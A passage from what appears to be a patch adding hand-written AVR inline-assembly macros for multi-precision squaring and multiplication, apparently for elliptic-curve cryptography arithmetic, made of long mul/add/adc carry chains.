"rol r22 \n\t" \ + "mul r2, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r16, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r17, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r17, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r18, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r18, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r19, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r19, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r20, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r4, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r20, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r21, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r3, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r21, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r2, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r3, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r4, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r6, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r4, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r5, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r6, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r7, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r6, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r7, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r7, r9 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r8 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r28 \n\t" \ + \ + "ldi r28, 0 \n\t" \ + "mul r8, r9 \n\t" \ + "add r29, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r28, r25 \n\t" \ + "add r29, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r28, r25 \n\t" \ + "st z+, r29 \n\t" \ + \ + "mul r9, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r28 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_SQUARE_ASM_8 \ + "ldi r25, 0 \n\t" \ + "movw r28, r26 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "adiw r28, 20 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "adiw r30, 20 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul 2, 12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "st z+, r22 \n\t" \ + "st z+, r23 \n\t" \ + \ + "sbiw r26, 12 \n\t" \ + "sbiw r30, 44 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r12, x+ \n\t" \ + "ld r13, x+ \n\t" \ + "ld r14, x+ \n\t" \ + "ld r15, x+ \n\t" \ + "ld r16, x+ \n\t" \ + "ld r17, x+ \n\t" \ + "ld r18, x+ \n\t" \ + "ld r19, x+ \n\t" \ + "ld r20, x+ \n\t" \ + "ld r21, x+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r2 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r3 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r4, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r10 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r6, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r11 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, 